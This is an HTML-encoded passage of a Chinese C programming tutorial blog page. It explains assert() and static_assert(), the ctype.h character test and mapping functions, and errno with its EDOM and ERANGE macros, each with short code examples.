class=\"string\"\u003e\u0026#34;%ls\\n\u0026#34;\u003c/span\u003e, wcs); \u003cspan class=\"comment\"\u003e// 天气不错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, nBytes); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,多字节字符串\u003ccode\u003embs\u003c/code\u003e被\u003ccode\u003embstowcs()\u003c/code\u003e转为宽字符串,成功转换了4个字符,所以该函数的返回值为4。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003embstowcs()\u003c/code\u003e的第一个参数为\u003ccode\u003eNULL\u003c/code\u003e,则返回目标宽字符串会包含的字符数量。\u003c/p\u003e\u003ch2 id=\"assert-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#assert-h\" class=\"headerlink\" title=\"assert.h\"\u003e\u003c/a\u003eassert.h\u003c/h2\u003e\u003ch3 id=\"assert\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#assert\" class=\"headerlink\" title=\"assert()\"\u003e\u003c/a\u003eassert()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eassert.h\u003c/code\u003e头文件定义了宏\u003ccode\u003eassert()\u003c/code\u003e,用于在运行时确保程序符合指定条件,如果不符合,就报错终止运行。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eassert(PI \u0026gt; \u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码在程序运行到这一行语句时,验证变量是否\u003ccode\u003ePI\u003c/code\u003e大于3。如果确实大于3,程序继续运行,否则就会终止运行,并且给出报错信息提示。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eassert()\u003c/code\u003e宏接受一个表达式作为参数,如果表达式的返回值非零,\u003ccode\u003eassert()\u003c/code\u003e就会报错,在标准错误流\u003ccode\u003estderr\u003c/code\u003e中写入一条错误信息,显示没有通过的表达式,以及包含这个表达式的文件名和行号。最后,调用\u003ccode\u003eabort()\u003c/code\u003e函数终止程序(\u003ccode\u003eabort()\u003c/code\u003e函数的原型在\u003ccode\u003estdlib.h\u003c/code\u003e头文件中)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ez = x * x - y * y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eassert(z \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的\u003ccode\u003eassert()\u003c/code\u003e语句类似于下面的代码。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (z \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;z less than 0\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eabort\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果断言失败,程序会中断执行,会显示下面的提示。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eAssertion failed: (z \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e), function main, file /Users/assert.c, line \u003cspan class=\"number\"\u003e14.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面报错的格式如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eAssertion failed: [expression], function [abc], file [xyz], line [nnn].\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,方括号的部分使用实际数据替换掉。\u003c/p\u003e\u003cp\u003e使用 assert() 有几个好处:它不仅能自动标识文件和出问题的行号,还有一种无需更改代码就能开启或关闭 assert() 的机制。如果已经确认程序没有问题,不需要再做断言,就在\u003ccode\u003e#include \u0026lt;assert.h\u0026gt;\u003c/code\u003e语句的前面,定义一个宏\u003ccode\u003eNDEBUG\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e NDEBUG\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;assert.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,重新编译程序,编译器就会禁用文件中所有的 assert() 语句。如果程序又出现问题,可以移除这条\u003ccode\u003e#define NDBUG\u003c/code\u003e指令(或者把它注释掉),再次编译,这样就重新启用了 assert() 语句。\u003c/p\u003e\u003cp\u003eassert() 的缺点是,因为引入了额外的检查,增加了程序的运行时间。\u003c/p\u003e\u003ch3 id=\"static-assert\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#static-assert\" class=\"headerlink\" title=\"static_assert()\"\u003e\u003c/a\u003estatic_assert()\u003c/h3\u003e\u003cp\u003eC11 引入了静态断言\u003ccode\u003estatic_assert()\u003c/code\u003e,用于在编译阶段进行断言判断。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003estatic_assert\u003c/span\u003e(constant-expression, \u003cspan class=\"built_in\"\u003estring\u003c/span\u003e-literal);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estatic_assert()\u003c/code\u003e接受两个参数,第一个参数\u003ccode\u003econstant-expression\u003c/code\u003e是一个常量表达式,第二个参数\u003ccode\u003estring-literal\u003c/code\u003e是一个提示字符串。如果第一个参数的值为false,会产生一条编译错误,第二个参数就是错误提示信息。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003estatic_assert\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e) == \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;64-bit code generation is not supported.\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码的意思是,如果当前计算机的\u003ccode\u003eint\u003c/code\u003e类型不等于4个字节,就会编译报错。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003estatic_assert()\u003c/code\u003e只在编译阶段运行,无法获得变量的值。如果对变量进行静态断言,就会导致编译错误。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003epositive\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003estatic_assert\u003c/span\u003e(n \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;value must \u0026gt; 0\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码会导致编译报错,因为编译时无法知道变量\u003ccode\u003en\u003c/code\u003e的值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic_assert()\u003c/code\u003e的好处是,尽量在编译阶段发现错误,避免运行时再报错,节省开发时间。另外,有些\u003ccode\u003eassert()\u003c/code\u003e断言位于函数之中,如果不执行该函数,就不会报错,而\u003ccode\u003estatic_assert()\u003c/code\u003e不管函数是否执行,都会进行断言判断。最后,\u003ccode\u003estatic_assert()\u003c/code\u003e不会生成可执行代码,所以不会造成任何运行时的性能损失。\u003c/p\u003e\u003ch2 id=\"ctype-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ctype-h\" class=\"headerlink\" title=\"ctype.h\"\u003e\u003c/a\u003ectype.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003ectype.h\u003c/code\u003e头文件定义了一系列字符处理函数的原型。\u003c/p\u003e\u003ch3 id=\"字符测试函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E6%B5%8B%E8%AF%95%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"字符测试函数\"\u003e\u003c/a\u003e字符测试函数\u003c/h3\u003e\u003cp\u003e这些函数用来判断字符是否属于某种类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eisalnum()\u003c/code\u003e:是否为字母数字\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisalpha()\u003c/code\u003e:是否为字母\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisdigit()\u003c/code\u003e:是否为数字\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisxdigit()\u003c/code\u003e:是否为十六进制数字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003eislower()\u003c/code\u003e:是否为小写字母\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisupper()\u003c/code\u003e:是否为大写字母\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisblank()\u003c/code\u003e:是否为标准的空白字符(包含空格、水平制表符或换行符)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisspace()\u003c/code\u003e:是否为空白字符(空格、换行符、换页符、回车符、垂直制表符、水平制表符等)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eiscntrl()\u003c/code\u003e:是否为控制字符,比如 Ctrl + B\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisprint()\u003c/code\u003e:是否为可打印字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003eisgraph()\u003c/code\u003e:是否为空格以外的任意可打印字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003eispunct()\u003c/code\u003e:是否为标点符号(除了空格、字母、数字以外的可打印字符)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们接受一个待测试的字符作为参数。注意,参数类型为\u003ccode\u003eint\u003c/code\u003e,而不是\u003ccode\u003echar\u003c/code\u003e,因为它们允许 EOF 作为参数。\u003c/p\u003e\u003cp\u003e如果参数字符属于指定类型,就返回一个非零整数(通常是\u003ccode\u003e1\u003c/code\u003e,表示为真),否则返回\u003ccode\u003e0\u003c/code\u003e(表示为伪)。\u003c/p\u003e\u003cp\u003e下面是一个例子,用户输入一个字符,程序判断是否为英文字母。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;ctype.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e ch = getchar();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eisalpha\u003c/span\u003e(ch))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;it is an alpha character.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;it is not an alpha character.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"字符映射函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E6%98%A0%E5%B0%84%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"字符映射函数\"\u003e\u003c/a\u003e字符映射函数\u003c/h3\u003e\u003cp\u003e这一类函数返回字符的某种对应形式,主要有两个函数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003etolower()\u003c/code\u003e:如果参数是大写字符,返回小写字符,否则返回原始参数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003etoupper()\u003c/code\u003e:如果参数是小写字符,返回大写字符,否则返回原始参数。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 将字符转为大写\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ech = \u003cspan class=\"built_in\"\u003etoupper\u003c/span\u003e(ch);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,这两个函数不会改变原始字符。\u003c/p\u003e\u003ch2 id=\"errno-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#errno-h\" class=\"headerlink\" title=\"errno.h\"\u003e\u003c/a\u003eerrno.h\u003c/h2\u003e\u003ch3 id=\"errno-变量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#errno-%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"errno 变量\"\u003e\u003c/a\u003eerrno 变量\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eerrno.h\u003c/code\u003e声明了一个 int 类型的 errno 变量,用来存储错误码(正整数)。\u003c/p\u003e\u003cp\u003e如果这个变量有非零值,表示已经执行的程序发生了错误。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eerrno = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e y = \u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (errno != \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003efprintf\u003c/span\u003e(\u003cspan class=\"built_in\"\u003estderr\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;sqrt error; program terminated.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,计算一个负值的平方根是不允许的,会导致\u003ccode\u003eerrno\u003c/code\u003e不等于\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果要检查某个函数是否发生错误,必须在即将调用该函数之前,将\u003ccode\u003eerrno\u003c/code\u003e的值置为0,防止其他函数改变\u003ccode\u003eerrno\u003c/code\u003e的值。\u003c/p\u003e\u003ch3 id=\"宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AE%8F\" class=\"headerlink\" title=\"宏\"\u003e\u003c/a\u003e宏\u003c/h3\u003e\u003cp\u003e变量\u003ccode\u003eerrno\u003c/code\u003e的值通常是两个宏\u003ccode\u003eEDOM\u003c/code\u003e或\u003ccode\u003eERANGE\u003c/code\u003e。这两个宏都定义在\u003ccode\u003eerrno.h\u003c/code\u003e。它们表示调用数学函数时,可能发生的两种错误。\u003c/p\u003e\u003cul\u003e\u003cli\u003e定义域错误(EDOM):传递给函数的一个参数超出了函数的定义域。例如,负数传入\u003ccode\u003esqrt()\u003c/code\u003e作为参数。\u003c/li\u003e\u003cli\u003e取值范围错误(ERANGE):函数的返回值太大,无法用返回类型表示。例如,1000 传入\u003ccode\u003eexp()\u003c/code\u003e作为参数,因为 e^1000 太大,无法使用 double 类型表示。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e使用数学函数时,可以将\u003ccode\u003eerrno\u003c/code\u003e的值与 EDOM 和 ERANGE 比较,用来确定到底发生了哪一类错误。\u003c/p\u003e\u003ch2 id=\"float-h\"\u003e\u003ca 